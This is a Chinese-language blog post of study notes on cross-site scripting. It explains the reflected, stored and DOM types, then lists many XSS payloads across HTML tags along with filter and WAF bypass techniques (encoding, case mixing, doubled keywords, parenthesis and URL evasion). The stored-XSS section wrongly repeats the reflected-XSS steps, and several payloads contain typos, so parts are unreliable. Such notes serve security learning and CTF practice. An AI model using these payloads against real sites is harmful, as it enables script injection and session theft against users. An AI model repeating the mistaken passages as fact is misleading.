XSS从0到1

本篇记学习XSS的历程. ——M.Y

参考文章:

https://blog.csdn.net/LYJ20010728/article/details/116462782

XSS

定义:

xss,全称跨站脚本攻击(Cross Site Scripting),为避免与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故缩写为XSS。

这是一种将任意 Javascript 代码插入到其他Web用户页面中执行以达到攻击目的的漏洞。攻击者利用浏览器的动态展示数据功能,在HTML页面里嵌入恶意代码。当用户浏览该页时,这些潜入在HTML中的恶意代码会被执行,用户浏览器被攻击者控制,从而达到攻击者的特殊目的,如 cookie窃取等。

凡是数据输入或者交互的地方,都有可能发生xss。

XSS属于代码注入的一种,它允许攻击者将代码注入到网页,其他用户在浏览网页时就会受到影响。

XSS属于客户端攻击,受害者最终是用户,但是,网站的管理人员也是用户之一。这意味着XSS可以进行“服务端攻击”

漏洞出现的原因:

程序对输入和输出不够严格,导致“精心构造”的脚本输入后,在输出前端时被浏览器当作有效代码解析执行从而产生危害。

分类:

反射型:反射型XSS是最基本的XSS形式,也被称为非持久型XSS(Non-persistent XSS)。这种攻击的特点是恶意脚本不会永久存储在目标服务器上,而是通过URL参数、表单提交等途径”反射”回用户的浏览器中执行。

  1. 攻击者构造包含恶意脚本的特殊URL
  2. 通过钓鱼邮件、社交工程等方式诱使受害者点击该URL
  3. 服务器接收请求并将恶意脚本”反射”到响应页面中
  4. 受害者的浏览器解析并执行该脚本

在CTF中,反射型XSS题目通常表现为:

  • 搜索框、联系表单等输入点直接将用户输入返回到页面
  • URL参数值未经处理直接输出到HTML中
  • 需要构造特殊URL并诱导管理员或bot访问以获取flag

例:http://www.test.com/search.php?key="><script>alert("xss")</script>


存储型:存储型XSS,又称持久型XSS(Persistent XSS),是更为危险的XSS形式。与反射型不同,存储型XSS的恶意脚本会被永久保存在目标服务器上(如数据库、留言板、评论区域等),每当用户访问包含该恶意内容的页面时,脚本就会被执行

典型攻击流程

  1. 攻击者构造包含恶意脚本的特殊URL
  2. 通过钓鱼邮件、社交工程等方式诱使受害者点击该URL
  3. 服务器接收请求并将恶意脚本”反射”到响应页面中
  4. 受害者的浏览器解析并执行该脚本

在CTF中,反射型XSS题目通常表现为:

  • 搜索框、联系表单等输入点直接将用户输入返回到页面
  • URL参数值未经处理直接输出到HTML中
  • 需要构造特殊URL并诱导管理员或bot访问以获取flag

DOM型:DOM型XSS是一种特殊的XSS形式,其特点是恶意代码完全在客户端执行,不涉及服务器端的响应处理。这种漏洞源于JavaScript对DOM(文档对象模型)的不安全操作,如使用document.writeinnerHTMLeval等函数直接处理用户可控的数据。

典型攻击流程

  1. 攻击者构造包含恶意脚本的特殊URL
  2. 受害者访问该URL
  3. 客户端JavaScript从URL或页面元素中提取数据并动态修改DOM
  4. 修改过程中未正确过滤导致恶意脚本执行

在CTF中,DOM型XSS题目通常表现为:

  • 页面使用JavaScript从URL参数或片段(fragment)中读取数据并动态更新页面内容
  • 使用evalsetTimeoutFunction构造函数等动态执行代码
  • 需要分析前端JavaScript逻辑才能构造有效payload

例如以下前端代码:

1
2
var target = location.hash.substring(1);
document.write("Welcome " + target);

攻击者可构造如下url:

http://vulnerable-site.com/#<script>alert('XSS')</script>

触发标签

无过滤:

在程序没有进行过滤的情况下,有以下触发标签:

  1. <script>
1
<scirpt>alert("xss");</script>
  1. <img>
1
2
3
4
5
6
7
// 图片加载错误时触发
<img src="x" onerror=alert(1)>
<img src="1" onerror=eval("alert('xss')")>
// 鼠标指针移动到元素时触发
<img src=1 onmouseover="alert(1)">
// 鼠标指针移出时触发
<img src=1 onmouseout="alert(1)">
  1. <a>
1
2
3
4
5
6
<a href="https://www.qq.com">qq</a>
<a href=javascript:alert('xss')>test</a>
<a href="javascript:a" onmouseover="alert(/xss/)">aa</a>
<a href="" onclick=alert('xss')>a</a>
<a href="" onclick=eval(alert('xss'))>aa</a>
<a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>
  1. <input>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<input onfocus="alert('xss');">
// 竞争焦点,从而触发onblur事件
<input onblur=alert("xss") autofocus><input autofocus>
// 通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
<input onfocus="alert('xss');" autofocus>
<input name="name" value="">
<input value="" onclick=alert('xss') type="text">
<input name="name" value="" onmouseover=prompt('xss') bad="">
<input name="name" value=""><script>alert('xss')</script>
// 按下按键时触发
<input type="text" onkeydown="alert(1)">
// 按下按键时触发
<input type="text" onkeypress="alert(1)">
// 松开按键式时触发
<input type="text" onkeyup="alert(1)">
  1. <form>
1
2
3
4
5
6
7
<form action=javascript:alert('xss') method="get">
<form action=javascript:alert('xss')>
<form method=post action=aa.asp? onmouseover=prompt('xss')>
<form method=post action=aa.asp? onmouseover=alert('xss')>
<form action=1 onmouseover=alert('xss)>
<form method=post action="data:text/html;base64,<script>alert('xss')</script>">
<form method=post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
  1. <iframe>
1
2
3
4
5
6
7
8
<iframe onload=alert("xss");></iframe>
<iframe src=javascript:alert('xss')></iframe>
<iframe src="data:text/html,&lt;script&gt;alert('xss')&lt;/script&gt;"></iframe>
<iframe src="data:text/html;base64,<script>alert('xss')</script>">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe src="aaa" onmouseover=alert('xss') /><iframe>
<iframe src="javascript&colon;prompt&lpar;``xss``&rpar;"></iframe>
//(````只有两个``)
  1. <svg>
1
<svg onload=alert(1)>
  1. <body>
1
2
3
<body onload="alert(1)">
// 利用换行符以及autofocus,自动去触发onscroll事件,无需用户去触发
<body onscroll=alert("xss");><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
  1. <button>
1
2
// 元素上点击鼠标时触发
<button onclick="alert(1)">text</button>
  1. <p>
1
2
3
4
// 元素上按下鼠标时触发
<p onmousedown="alert(1)">text</p>
// 元素上释放鼠标时触发
<p onmouseup="alert(1)">text</p>
  1. <details>
1
2
3
<details ontoggle="alert('xss');">
// 使用open属性触发ontoggle事件,无需用户去触发
<details open ontoggle="alert('xss');">
  1. <select>
1
2
3
<select onfocus=alert(1)></select>
// 通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
<select onfocus=alert(1) autofocus>
  1. <video>
1
<video><source onerror="alert(1)">
  1. <audio>
1
<audio src=x onerror=alert("xss");>
  1. <textarea>
1
<textarea onfocus=alert("xss"); autofocus>
  1. <keygen>
1
<keygen autofocus onfocus=alert(1)> // 仅限火狐
  1. <marquee>
1
2
<marquee onstart=alert("xss")></marquee> 
// Chrome不行,火狐和IE都可以
  1. <isindex>
1
<isindex type=image src=1 onerror=alert("xss")> // 仅限于IE
  1. 利用link远程包含js文件
1
2
// 在无CSP的情况下才可以
<link rel=import href="http://127.0.0.1/1.js">
  1. javascript伪协议
1
2
3
4
5
6
7
8
// <a>标签
<a href="javascript:alert('xss');">xss</a>
// <iframe>标签
<iframe src=javascript:alert('xss');></iframe>
// <img>标签
<img src=javascript:alert('xss')> //IE7以下
// <form>标签
<form action="Javascript:alert(1)"><input type=submit>
  1. expression属性
1
2
3
4
5
6
<img style="xss:expression(alert('xss''))"> 
// IE7以下
<div style="color:rgb(''�x:expression(alert(1))"></div>
// IE7以下
<style>#test{x:expression(alert(/XSS/))}</style>
// IE7以下
  1. background属性
1
2
<table background=javascript:alert(1)></table>
// 在Opera 10.5和IE6上有效

过滤绕过:

  1. 过滤空格
1
2
// 用 / 代替空格
<img/src="x"/onerror=alert("xss");>
  1. 过滤关键字
1
2
3
4
5
6
7
8
// 大小写绕过
<ImG sRc=x onerRor=alert("xss");>
// 双写关键字(有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过)
<imimgg srsrcc=x onerror=alert("xss");>
// 字符拼接(利用eval)
<img src="x" onerror="a=aler;b=t;c='(xss);';eval(a+b+c)">
// 字符拼接(利用top)
<script>top["al"+"ert"](``xss``);</script>(只有两个``这里是为了凸显出有`符号)
  1. 其它字符混淆
1
2
3
4
5
6
7
8
/*有的waf可能是用正则表达式去检测是否有xss攻击,如果我们能fuzz出正则的规则,则我们就可以使用其它字符去混淆我们注入的代码了
下面举几个简单的例子*/
// 可利用注释、标签的优先级等
<<script>alert("xss"); //<</script>
<scri<!--test-->pt>alert("hello world!")</scri<!--test-->pt>
<title><img src=</title>><img src=x onerror="alert(``xss``);">
// 因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效
<SCRIPT>var a="\\";alert("xss");//";</SCRIPT>
  1. 编码绕过
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//Unicode编码绕过
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
//url编码绕过
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
//Ascii码绕过
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
//Hex绕过
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
//八进制绕过
<img src=x onerror=alert('\170\163\163')>
//base64绕过
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
  1. 过滤双引号,单引号
1
2
3
//如果是html标签中,我们可以不用引号;如果是在js中,我们可以用反引号代替单双引号
<img src="x" onerror=alert(``xss``);>
//使用编码绕过,具体看上面列举的例子
  1. 过滤括号
1
2
//当括号被过滤的时候可以使用throw来绕过
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
  1. 过滤url地址
1
2
3
4
5
6
7
8
9
10
//使用url编码
<img src="x" onerror=document.location=``http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/``>
//使用IP
<img src="x" onerror=document.location=``http://2130706433/``>十进制
<img src="x" onerror=document.location=``http://0177.0.0.01/``>八进制
<img src="x" onerror=document.location=``http://0x7f.0x0.0x0.0x1/``>十六进制
<img src="x" onerror=document.location=``//www.baidu.com``>html标签中用//可以代替http://
//使用\ (注意:在windows下\本身就有特殊用途,是一个path 的写法,所以\在Windows下是file协议,在linux下才会是当前域的协议)
//使用中文逗号代替英文逗号
<img src="x" onerror="document.location=``http://www。baidu。com``">//会自动跳转到百度